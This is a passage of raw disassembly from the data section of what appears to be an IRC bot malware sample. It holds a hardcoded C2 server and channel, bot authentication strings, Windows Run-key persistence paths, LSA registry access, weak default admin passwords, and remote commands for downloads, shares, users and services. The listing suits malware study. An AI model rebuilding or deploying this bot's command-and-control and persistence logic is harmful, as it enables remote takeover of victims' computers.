%.1fKB/sec. Updating.',0 align 4 dword_42E464 dd 7A026E02h, 201F6D1Fh, 776F6428h, 616F6C6Eh, 1F702E64h ; DATA XREF: sub_40CAF1+358o dd 29671F6Ch, 0BBBB0220h, 4F202002h, 656E6570h, 25203A64h dd 2E73h aOpen db 'open',0 ; DATA XREF: sub_40CAF1+336o ; sub_40EE72+2B48o ... align 4 unk_42E498 db 2 ; DATA XREF: sub_40CAF1+2E1o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 64h, 6Fh, 77h db 6Eh ; n db 6Ch, 6Fh, 61h db 64h ; d db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aDownloaded_1fK db ' Downloaded %.1f KB to %s @ %.1f KB/sec.',0 align 10h unk_42E4E0 db 2 ; DATA XREF: sub_40CAF1+262o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 64h, 6Fh, 77h db 6Eh ; n db 6Ch, 6Fh, 61h db 64h ; d db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aCrcFailedDD_ db ' CRC Failed (%d != %d).',0 align 4 unk_42E518 db 2 ; DATA XREF: sub_40CAF1+1D8o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 64h, 6Fh, 77h db 6Eh ; n db 6Ch, 6Fh, 61h db 64h ; d db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFilesizeIsInco db ' Filesize is incorrect: (%d != %d).',0 align 4 unk_42E55C db 2 ; DATA XREF: sub_40CAF1+195o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 64h, 6Fh, 77h db 6Eh ; n db 6Ch, 6Fh, 61h db 64h ; d db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aUpdateSDkbTran db ' Update: %s (%dKB transferred).',0 align 4 unk_42E59C db 2 ; DATA XREF: sub_40CAF1+183o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 64h, 6Fh, 77h db 6Eh ; n db 6Ch, 6Fh, 61h db 64h ; d db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFileDownloadSD db ' File download: %s (%dKB transferred).',0 align 4 unk_42E5E4 db 2 ; DATA XREF: sub_40CAF1+77o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 64h, 6Fh, 77h db 6Eh ; n db 6Ch, 6Fh, 61h db 64h ; d db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aCouldnTOpenFil db ' Couldn',27h,'t open file: %s.',0 align 4 aUnknown db 'Unknown',0 ; DATA XREF: sub_40D099:loc_40D0DCo ; sub_40DF4E+10Ao aInvalid db 'Invalid',0 ; DATA XREF: sub_40D099:loc_40D0D6o aDisk db 'Disk',0 ; DATA XREF: sub_40D099:loc_40D0D0o align 4 aNetwork db 'Network',0 ; DATA XREF: sub_40D099:loc_40D0CAo aCdrom db 'Cdrom',0 ; DATA XREF: sub_40D099:loc_40D0C4o align 4 off_42E644 dd offset word_4D4152 ; DATA XREF: sub_40D099:loc_40D0BEo aFailed db 'failed',0 ; DATA XREF: sub_40D12A:loc_40D208o ; sub_40D24E+3Bo align 10h aSkb db '%sKB',0 ; DATA XREF: sub_40D12A+6Co align 4 unk_42E658 db 2 ; DATA XREF: sub_40D24E+8Eo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 63h, 6Fh, 72h db 65h ; e db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aSDriveSSTotalS db ' %s Drive (%s): %s total, %s free, %s available.',0 align 4 unk_42E6A4 db 2 ; DATA XREF: sub_40D24E+58o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 63h, 6Fh, 72h db 65h ; e db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aSDriveSFailedT db ' %s Drive (%s): Failed to stat, device not ready.',0 aA_0 db 'A:\',0 ; DATA XREF: sub_40D320:loc_40D365o dword_42E6F4 dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0 ; DATA XREF: sub_40D4C5+A4o dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 dword_42E740 dd 3000005h, 10h, 18h, 1, 3 dup(0) ; DATA XREF: sub_40D4C5+E3o ; --------------------------------------------------------------------------- loc_42E75C: ; DATA XREF: sub_40D4C5+118o mov al, 1 push edx xchg eax, edi retf 0D059h ; --------------------------------------------------------------------------- db 11h dd 0A000D5A8h, 51800DC9h, 0 dword_42E770 dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0 ; DATA XREF: sub_40D4C5+13Fo dword_42E784 dd 25207325h, 253A2073h, 0A0D73h ; DATA XREF: sub_40D679+5Do aPrivmsg db 'PRIVMSG',0 ; DATA XREF: sub_40D679+16o ; sub_40EE72+623o aNotice db 'NOTICE',0 ; DATA XREF: sub_40D679+Fo ; sub_40EE72+62Fo align 10h off_42E7A0 dd offset aAdd ; DATA XREF: sub_40D719+60r ; sub_40DAF0+51r ... ; "Add" off_42E7A4 dd offset aAdded ; DATA XREF: sub_40D719+2Dr ; sub_40DAF0+83r ... ; "Added" dword_42E7A8 dd 0 ; DATA XREF: sub_40D719+18r dd offset aDelete_0 ; "Delete" dd offset aDeleted ; "Deleted" align 8 dd offset aList_0 ; "List" dd offset aListed ; "Listed" dd 0 dd offset aStart_0 ; "Start" dd offset aStarted ; "Started" align 10h dd offset aStop_0 ; "Stop" dd offset aStopped_0 ; "Stopped" dd 1, 42E814h, 42E80Ch, 2, 42E800h, 42E7F4h, 3, 746E6F43h dd 65756E69h, 64h, 746E6F43h, 65756E69h, 0 aPaused db 'Paused',0 align 4 aPause_0 db 'Pause',0 align 4 aStopped_0 db 'Stopped',0 ; DATA XREF: ___:0042E7D4o aStop_0 db 'Stop',0 ; DATA XREF: ___:0042E7D0o align 4 aStarted db 'Started',0 ; DATA XREF: ___:0042E7C8o aStart_0 db 'Start',0 ; DATA XREF: ___:0042E7C4o align 4 aListed db 'Listed',0 ; DATA XREF: ___:0042E7BCo align 4 aList_0 db 'List',0 ; DATA XREF: ___:0042E7B8o align 4 aDeleted db 'Deleted',0 ; DATA XREF: ___:0042E7B0o aDelete_0 db 'Delete',0 ; DATA XREF: ___:0042E7ACo align 4 aAdded db 'Added',0 ; DATA XREF: ___:off_42E7A4o align 4 aAdd db 'Add',0 ; DATA XREF: ___:off_42E7A0o dword_42E868 dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40D719+67o dd 2BBBB02h aSNoServiceSpec db ' %s: No service specified.',0 dword_42E89C dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40D719+51o dd 2BBBB02h aErrorWithServi db ' Error with service: ',27h,'%s',27h,'. %s',0 align 4 dword_42E8D4 dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40D719+33o dd 2BBBB02h aSServiceS_ db ' %s service: ',27h,'%s',27h,'.',0 aAnUnknownErr_0 db 'An unknown error occurred: <%ld>',0 ; DATA XREF: sub_40D835+12Co align 4 aTheSystemIsShu db 'The system is shutting down.',0 ; DATA XREF: sub_40D835:loc_40D94Do align 4 aTheServiceHasN db 'The service has not been started.',0 ; DATA XREF: sub_40D835:loc_40D946o align 4 aTheRequested_1 db 'The requested control code cannot be sent to the service because ' ; DATA XREF: sub_40D835:loc_40D93Fo db 'the state of the service.',0 align 4 aTheServiceHa_0 db 'The service has been marked for deletion.',0 ; DATA XREF: sub_40D835:loc_40D938o align 10h aTheServiceCoul db 'The service could not be logged on. The account does not have the' ; DATA XREF: sub_40D835:loc_40D931o db ' correct access rights.',0 align 4 aTheSpecified_0 db 'The specified service does not exist.',0 ; DATA XREF: sub_40D835:loc_40D92Ao align 4 aTheServiceHasB db 'The service has been disabled.',0 ; DATA XREF: sub_40D835:loc_40D923o align 4 aTheServiceDe_0 db 'The service depends on another service that has failed to start.',0 ; DATA XREF: sub_40D835:loc_40D91Co align 4 aTheServiceDepe db 'The service depends on a service that does not exist or has been ' ; DATA XREF: sub_40D835:loc_40D915o db 'marked for deletion.',0 align 10h aTheSpecifiedDa db 'The specified database does not exist.',0 ; DATA XREF: sub_40D835:loc_40D90Eo align 4 aAnInstanceOfTh db 'An instance of the service is already running.',0 ; DATA XREF: sub_40D835:loc_40D8E3o align 4 aTheRequested_0 db 'The requested control code is not valid, or it is unacceptable to' ; DATA XREF: sub_40D835:loc_40D8DCo db ' the service.',0 align 4 aTheProcessForT db 'The process for the service was started, but it did not call Star' ; DATA XREF: sub_40D835:loc_40D8D5o db 'tServiceCtrlDispatcher.',0 align 4 aAThreadCouldNo db 'A thread could not be created for the service.',0 ; DATA XREF: sub_40D835:loc_40D8CEo align 4 aTheDatabaseIsL db 'The database is locked.',0 ; DATA XREF: sub_40D835+8Fo aTheServiceCann db 'The service cannot be stopped because other running services are ' ; DATA XREF: sub_40D835:loc_40D8A3o db 'dependent on it.',0 align 10h aTheServiceBina db 'The service binary file could not be found.',0 ; DATA XREF: sub_40D835:loc_40D899o aTheHandleDoesN db 'The handle does not have the required access right.',0 ; DATA XREF: sub_40D835:loc_40D88Fo aTheHandleIsInv db 'The handle is invalid.',0 ; DATA XREF: sub_40D835:loc_40D885o align 4 aTheRequestedCo db 'The requested control code is undefined.',0 ; DATA XREF: sub_40D835:loc_40D87Bo align 4 aTheSpecifiedSe db 'The specified service name is invalid.',0 ; DATA XREF: sub_40D835+3Co align 4 aSSS db '%s: %s (%s)',0 ; DATA XREF: sub_40D9B3+EBo aStopped db ' Stopped',0 ; DATA XREF: sub_40D9B3:loc_40DA7Fo aStarting db ' Starting',0 ; DATA XREF: sub_40D9B3:loc_40DA78o aStoping db ' Stoping',0 ; DATA XREF: sub_40D9B3:loc_40DA71o aRunning db ' Running',0 ; DATA XREF: sub_40D9B3:loc_40DA6Ao aContinuing db ' Continuing',0 ; DATA XREF: sub_40D9B3:loc_40DA63o aPausing db ' Pausing',0 ; DATA XREF: sub_40D9B3:loc_40DA5Co aPaused_0 db ' Paused',0 ; DATA XREF: sub_40D9B3:loc_40DA55o aUnknown_0 db ' Unknown',0 ; DATA XREF: sub_40D9B3+9Bo aTheFollowingWi db 'The following Windows services are registered:',0 ; DATA XREF: sub_40D9B3+25o align 4 dword_42EE38 dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40DAF0+ACo dd 2BBBB02h aSNoShareSpecif db ' %s: No share specified.',0 align 4 dword_42EE6C dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40DAF0+8Ao dd 2BBBB02h aSShareS_ db ' %s share: ',27h,'%s',27h,'.',0 align 4 dword_42EE98 dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40DAF0+58o dd 2BBBB02h aSErrorWithShar db ' %s: Error with share: ',27h,'%s',27h,'. %s',0 align 4 a14s24s6u4s db '%-14S %-24S %-6u %-4s',0 ; DATA XREF: sub_40DCE6+D0o align 4 aNo db 'No',0 ; DATA XREF: sub_40DCE6+BCo align 10h aYes db 'Yes',0 ; DATA XREF: sub_40DCE6+B5o dword_42EEF4 dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40DCE6+76o dd 2BBBB02h aShareListError db ' Share list error: %s <%ld>',0 align 4 aShareNameResou db 'Share name: Resource: Uses: Desc:',0 ; DATA XREF: sub_40DCE6+26o align 4 dword_42EF64 dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40DE07+B7o dd 2BBBB02h aSNoUsernameSpe db ' %s: No username specified.',0 align 4 dword_42EF9C dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40DE07+95o dd 2BBBB02h aSErrorWithUser db ' %s: Error with username: ',27h,'%s',27h,'. %s',0 dword_42EFD8 dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40DE07+6Do dd 2BBBB02h aSUsernameS_ db ' %s username: ',27h,'%s',27h,'.',0 align 4 dword_42F008 dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40DF4E+3AFo dd 2BBBB02h aUserInfoErrorL db ' User info error: <%ld>',0 align 4 aUnitsPerWeekD db 'Units Per Week: %d',0 ; DATA XREF: sub_40DF4E+385o align 10h aMax_StorageD db 'Max. Storage: %d',0 ; DATA XREF: sub_40DF4E+35Ao align 4 aUserSLanguageD db 'User',27h,'s Language: %d',0 ; DATA XREF: sub_40DF4E+32Fo aCountryCodeD db 'Country Code: %d',0 ; DATA XREF: sub_40DF4E+304o align 4 aWorkstationsS db 'Workstations: %S',0 ; DATA XREF: sub_40DF4E+2D9o align 10h aLogonServerS db 'Logon Server: %S',0 ; DATA XREF: sub_40DF4E+2AEo align 4 aLastLogoffD db 'Last Logoff: %d',0 ; DATA XREF: sub_40DF4E+283o aLastLogonD db 'Last Logon: %d',0 ; DATA XREF: sub_40DF4E+258o align 4 aNumberOfLogins db 'Number of Logins: %d',0 ; DATA XREF: sub_40DF4E+22Do align 4 aBadPasswordCou db 'Bad Password Count: %d',0 ; DATA XREF: sub_40DF4E+202o align 4 aPasswordAgeD db 'Password Age: %d',0 ; DATA XREF: sub_40DF4E+1D7o align 4 aParametersS db 'Parameters: %S',0 ; DATA XREF: sub_40DF4E+1ACo align 4 aHomeDirectoryS db 'Home Directory: %S',0 ; DATA XREF: sub_40DF4E+181o align 4 aAuthFlagsD db 'Auth Flags: %d',0 ; DATA XREF: sub_40DF4E+156o align 4 aPrivilegeLevel db 'Privilege Level: %s',0 ; DATA XREF: sub_40DF4E+12Bo aGuest db 'Guest',0 ; DATA XREF: sub_40DF4E:loc_40E06Do align 4 aUser_0 db 'User',0 ; DATA XREF: sub_40DF4E:loc_40E066o align 10h aAdministrator db 'Administrator',0 ; DATA XREF: sub_40DF4E:loc_40E05Fo ; ___:0042F774o align 10h aCommentS db 'Comment: %S',0 ; DATA XREF: sub_40DF4E+DAo aUserCommentS db 'User Comment: %S',0 ; DATA XREF: sub_40DF4E+AFo align 10h aFullNameS db 'Full Name: %S',0 ; DATA XREF: sub_40DF4E+84o align 10h aAccountS db 'Account: %S',0 ; DATA XREF: sub_40DF4E+50o aTotalUsersFoun db 'Total users found: %d.',0 ; DATA XREF: sub_40E337+14Fo align 4 dword_42F1D4 dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40E337+F7o dd 2BBBB02h aAnAccessViolat db ' An access violation has occured.',0 align 10h aS_4 db ' %S',0 ; DATA XREF: sub_40E337+BEo align 4 dword_42F218 dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40E337+7Ao dd 2BBBB02h aUserListErrorS db ' User list error: %s <%ld>',0 aUsernameAccoun db 'Username accounts for local system:',0 ; DATA XREF: sub_40E337+29o aNetworkConnect db 'Network connection not found.',0 ; DATA XREF: sub_40E4B7:loc_40E5D4o align 10h aTheUserNameCou db 'The user name could not be found.',0 ; DATA XREF: sub_40E4B7:loc_40E5CDo align 4 aShareNotFound_ db 'Share not found.',0 ; DATA XREF: sub_40E4B7:loc_40E5C6o align 4 aTheComputerNam db 'The computer name is invalid.',0 ; DATA XREF: sub_40E4B7:loc_40E5BFo align 4 aAnUnknownError db 'An unknown error occurred.',0 ; DATA XREF: sub_40E4B7:loc_40E5B8o align 4 aThePasswordIsS db 'The password is shorter than required (or does not meet the passw' ; DATA XREF: sub_40E4B7:loc_40E59Bo db 'ord policy requirement.)',0 align 10h aTheGroupAlread db 'The group already exists.',0 ; DATA XREF: sub_40E4B7:loc_40E594o align 4 aTheUserAccount db 'The user account already exists.',0 ; DATA XREF: sub_40E4B7:loc_40E58Do align 10h aTheOperationIs db 'The operation is allowed only on the primary domain controller of' ; DATA XREF: sub_40E4B7+CFo db ' the domain.',0 align 10h aAGeneralFailur db 'A general failure occurred in the network hardware.',0 ; DATA XREF: sub_40E4B7:loc_40E562o aLevelParameter db 'Level parameter is invalid.',0 ; DATA XREF: sub_40E4B7:loc_40E55Bo aDeviceOrDirect db 'Device or directory does not exist.',0 ; DATA XREF: sub_40E4B7:loc_40E554o aInvalidForRedi db 'Invalid for redirected resource.',0 ; DATA XREF: sub_40E4B7:loc_40E54Ao align 4 aDuplicateShare db 'Duplicate share name.',0 ; DATA XREF: sub_40E4B7+89o align 10h aTheNameIsInval db 'The name is invalid.',0 ; DATA XREF: sub_40E4B7:loc_40E524o align 4 aAccessDenied_ db 'Access denied.',0 ; DATA XREF: sub_40E4B7:loc_40E51Ao align 4 aNotEnoughMemor db 'Not enough memory.',0 ; DATA XREF: sub_40E4B7:loc_40E510o align 4 aThisNetworkReq db 'This network request is not supported.',0 ; DATA XREF: sub_40E4B7:loc_40E506o align 4 aServerNameNotF db 'Server name not found.',0 ; DATA XREF: sub_40E4B7:loc_40E4FCo align 4 aInvalidParamet db 'Invalid parameter.',0 ; DATA XREF: sub_40E4B7+3Bo align 10h dword_42F530 dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40E5EB+ABo dd 2BBBB02h aSServerSMessag db ' %s <Server: %S> <Message: %S>',0 dword_42F568 dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40E5EB+81o dd 2BBBB02h aMessageSentSuc db ' Message sent successfully.',0 align 10h dword_42F5A0 dd 1B58h ; DATA XREF: ___:0040EA4Cr ; ___:0040EAFFr dword_42F5A4 dd 0C8Bh ; DATA XREF: ___:0040EB4Br dword_42F5A8 dd 30EAh ; DATA XREF: sub_40EE72:loc_414C0Ar dword_42F5AC dd 18F4h ; DATA XREF: sub_407252+3Br ; sub_40EE72+52E6r dword_42F5B0 dd 1BB0h ; DATA XREF: sub_407252:loc_407501r ; sub_40EE72:loc_41424Dr dword_42F5B4 dd 0A84h ; DATA XREF: sub_40EE72:loc_4143C3r dword_42F5B8 dd 1 ; DATA XREF: sub_40EE72+665r dword_42F5BC dd 1 ; DATA XREF: ___:0040E7E6r dword_42F5C0 dd 1 ; DATA XREF: sub_40AC42+Cr ; ___:loc_40E9D8r byte_42F5C4 db 2Eh ; DATA XREF: sub_40CFE3:loc_40CFEFr ; sub_40EE72+B05r ... align 4 dword_42F5C8 dd 6 ; DATA XREF: sub_415996+2Br ; sub_415996+51r ... dword_42F5CC dd 4 ; DATA XREF: sub_40EB92+78r ; sub_40EE72+279r ... a8652 db '8652',0 align 4 aCool_0 db 'cool',0 align 10h aMan db 'man',0 align 8 aAsn139 db 'asn139',0 align 10h db 2 dup(0) byte_42F5F2 db 1 ; DATA XREF: sub_40EE72:loc_413D44r ; sub_40EE72+4EDCo aAsn445 db 'asn445',0 align 4 dd 100h, 3 dup(0) aBotid db 'botid',0 ; DATA XREF: ___:0040E703o ; sub_40EE72+3E40o ... align 4 aAbosal7Tool db 'ABOSAL7 tool',0 ; DATA XREF: sub_40EE72:loc_414E22o align 4 aCool db 'cool',0 ; DATA XREF: sub_40EE72+6129o ; sub_40EE72+61F8o align 4 aSaber_ircqforu db 'saber.ircqforum.com',0 ; DATA XREF: ___:0040EA37o ; ___:0040EAF0o aFaak db '#faak#',0 ; DATA XREF: ___:0040EA58o ; ___:0040EB06o align 4 aSaad_ db 'saad.',0 ; DATA XREF: ___:0040EA6Fo ; ___:0040EB18o align 10h byte_42F650 db 73h ; DATA XREF: ___:loc_40EB2Er ; ___:0040EB3Co aAber_ircqforum db 'aber.ircqforum.com',0 aFaak_0 db '#faak#',0 ; DATA XREF: ___:0040EB52o align 4 aSaad__0 db 'saad.',0 ; DATA XREF: ___:0040EB64o align 4 byte_42F674 db 66h ; DATA XREF: sub_402B84+Fo ; sub_4030E8+81o ... db 69h, 72h, 73h dd 69777374h, 78652E6Eh, 65h dword_42F684 dd 65627663h, 6C642E69h, 6Ch ; DATA XREF: sub_4022C6+3Do aSystam13 db 'Systam13',0 ; DATA XREF: sub_40C1AE+Eo align 4 aBot db '[bot]-',0 ; DATA XREF: sub_415996+12o align 4 aFirstswin_exe db 'firstswin.exe',0 align 4 aXi db '+xi',0 ; DATA XREF: sub_40EE72+6274o aF db '#f',0 ; DATA XREF: sub_40EE72:loc_4120EFo ; sub_40EE72+50A2o ... align 4 aF_0 db '#f',0 ; DATA XREF: sub_40EE72+1F2Fo align 10h aF_1 db '#f',0 ; DATA XREF: sub_40EE72+1D75o align 4 off_42F6C4 dd offset a@admin_com ; DATA XREF: sub_40EE72:loc_414FEEo ; "*@admin.com" off_42F6C8 dd offset aH4ckerTool ; DATA XREF: sub_40EE72+8CFr ; sub_40EE72+6198o ; "h4cker tool" aSoftwareMicr_0 db 'Software\Microsoft\Windows\CurrentVersion\Run',0 align 4 db 53h aOftwareMicro_0 db 'oftware\Microsoft\Windows\CurrentVersion\RunServices',0 align 4 aSoftwareMicros db 'Software\Microsoft\OLE',0 ; DATA XREF: sub_415F88+28o ; sub_4162AC+28o align 4 aSystemCurrentc db 'SYSTEM\CurrentControlSet\Control\Lsa',0 ; DATA XREF: sub_415F88+D4o ; sub_4162AC+D4o align 4 dd offset aAdministrator ; "Administrator" dd offset aDb2 ; "db2" align 10h dd offset byte_436EDC dd offset byte_436EDC dd offset aAdministrato_0 ; "ADMINISTRATOR" dd offset byte_436EDC dd 0 dword_42F794 dd 10h ; DATA XREF: sub_40BE75+72w ; sub_40EE72+B6Er ... aAdministrato_0 db 'ADMINISTRATOR',0 ; DATA XREF: ___:0042F788o align 4 aDb2 db 'db2',0 ; DATA XREF: ___:0042F778o aH4ckerTool db 'h4cker tool',0 ; DATA XREF: ___:off_42F6C8o a@admin_com db '*@admin.com',0 ; DATA XREF: ___:off_42F6C4o dword_42F7C4 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: ___:0040E9FBo dd 2BBBB02h, 6F422020h, 74732074h, 65747261h, 2E64h dword_42F7EC dd 25207325h, 25222064h, 2273h ; DATA XREF: ___:0040E929o dword_42F7F8 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EB92+F2o dd 2BBBB02h aConnectedToS_ db ' Connected to %s.',0 align 4 aNickSUserS00S db 'NICK %s',0Dh,0Ah ; DATA XREF: sub_40ECFA+62o db 'USER %s 0 0 :%s',0Dh,0Ah,0 align 10h aPassS db 'PASS %s',0Dh,0Ah,0 ; DATA XREF: sub_40ECFA+35o align 4 aModeSS db 'MODE %s %s',0Dh,0Ah,0 ; DATA XREF: sub_40EE72+627Co align 4 aUserhostS db 'USERHOST %s',0Dh,0Ah,0 ; DATA XREF: sub_40EE72+6264o align 4 dword_42F86C dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+6257o dd 2BBBB02h aUserSLoggedIn_ db ' User: %s logged in.',0 align 4 dword_42F89C dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+623Ao dd 2BBBB02h aAbosal7Accepte db ' ABOSAL7 accepted.',0 dword_42F8C8 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+61D9o dd 2BBBB02h aFailedHostAuth db ' *Failed host auth by: (%s!%s).',0 align 4 dword_42F904 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+6172o dd 2BBBB02h aFailedPassAuth db ' *Failed pass auth by: (%s!%s).',0 align 10h aNoticeSYouVeBe db 'NOTICE %s :You',27h,'ve been logged.',0Dh,0Ah,0 ; DATA XREF: sub_40EE72+6160o ; sub_40EE72+61C7o align 4 aNoticeSNiceTry db 'NOTICE %s :Nice try, idiot. (%s!%s).',0Dh,0Ah,0 ; DATA XREF: sub_40EE72+6149o ; sub_40EE72+61B0o align 4 asc_42F98C: ; DATA XREF: sub_40EE72+6119o unicode 0, <~>,0 dword_42F990 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+60C9o dd 2BBBB02h aRandomNickChan db ' Random nick change: %s',0 align 4 dword_42F9C4 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+6015o dd 2BBBB02h aInvalidLoginSl db ' Invalid login slot number: %d.',0 align 10h dword_42FA00 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+600Ao dd 2BBBB02h aNoUserLoggedIn db ' No user logged in at slot: %d.',0 align 4 dword_42FA3C dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+5FB5o dd 2BBBB02h, 73252020h, 0 unk_42FA5C db 2 ; DATA XREF: sub_40EE72+5F8Bo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 65h, 63h db 75h ; u db 72h, 65h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aFailedToStar_6 db ' Failed to start secure thread, error: <%d>.',0 align 4 dword_42FAA8 dd 7A026E02h, 201F6D1Fh, 63657328h, 2E657275h, 1F6C1F70h ; DATA XREF: sub_40EE72+5F15o dd 2202967h, 2002BBBBh, 20732520h, 74737973h, 2E6D65h aUnsecuring db 'Unsecuring',0 ; DATA XREF: sub_40EE72+5F0Fo align 4 aSecuring db 'Securing',0 ; DATA XREF: sub_40EE72+5F08o align 4 aSec db 'sec',0 ; DATA XREF: sub_40EE72+5EADo aSecure db 'secure',0 ; DATA XREF: sub_40EE72+5E9Co align 4 unk_42FAF4 db 2 ; DATA XREF: sub_40EE72+5E91o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 6Fh, 63h db 6Bh ; k db 73h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aFailedToStar_7 db 'Failed to start server thread, error: <%d>.',0 dword_42FB3C dd 69026602h, 6966646Eh, 1F651F6Ch, 2E2Eh ; DATA XREF: sub_40EE72+5D6Fo dword_42FB4C dd 646E6946h, 6C696620h, 65h ; DATA XREF: sub_40EE72+5D6Ao dword_42FB58 dd 72027002h, 1F631F6Fh, 2E2Eh ; DATA XREF: sub_40EE72+5D57o dword_42FB64 dd 636F7250h, 20737365h, 7473696Ch, 0 ; DATA XREF: sub_40EE72+5D52o dword_42FB74 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+5D1Fo dd 2BBBB02h, 65522020h, 6E6E6F63h, 69746365h, 2E676Eh aQuitReconnecti db 'QUIT :reconnecting',0Dh,0Ah,0 ; DATA XREF: sub_40EE72:loc_414B84o align 4 dword_42FBB4 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+5CFDo dd 2BBBB02h, 69442020h, 6E6F6373h, 7463656Eh, 2E676E69h dd 0 aQuitDisconnect db 'QUIT :disconnecting',0Dh,0Ah,0 ; DATA XREF: sub_40EE72:loc_414B62o align 4 aQuitS db 'QUIT :%s',0Dh,0Ah,0 ; DATA XREF: sub_40EE72+5CC8o align 4 dword_42FC04 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+5C76o dd 2BBBB02h aStatusReady_Bo db ' Status: Ready. Bot Uptime: %s.',0 align 10h dword_42FC40 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+5C62o dd 2BBBB02h, 6F422020h, 44492074h, 7325203Ah, 2Eh dword_42FC68 dd 7A026E02h, 201F6D1Fh, 72687428h, 73646165h, 6C1F702Eh ; DATA XREF: sub_40EE72+5C3Do dd 2029671Fh, 2BBBB02h aFailedToStartL db ' Failed to start list thread, error: <%d>.',0 dword_42FCB0 dd 7A026E02h, 201F6D1Fh, 72687428h, 73646165h, 6C1F702Eh ; DATA XREF: sub_40EE72+5BD2o dd 2029671Fh, 2BBBB02h, 694C2020h, 74207473h, 61657268h dd 2E7364h dword_42FCDC dd 627573h ; DATA XREF: sub_40EE72+5BACo dword_42FCE0 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 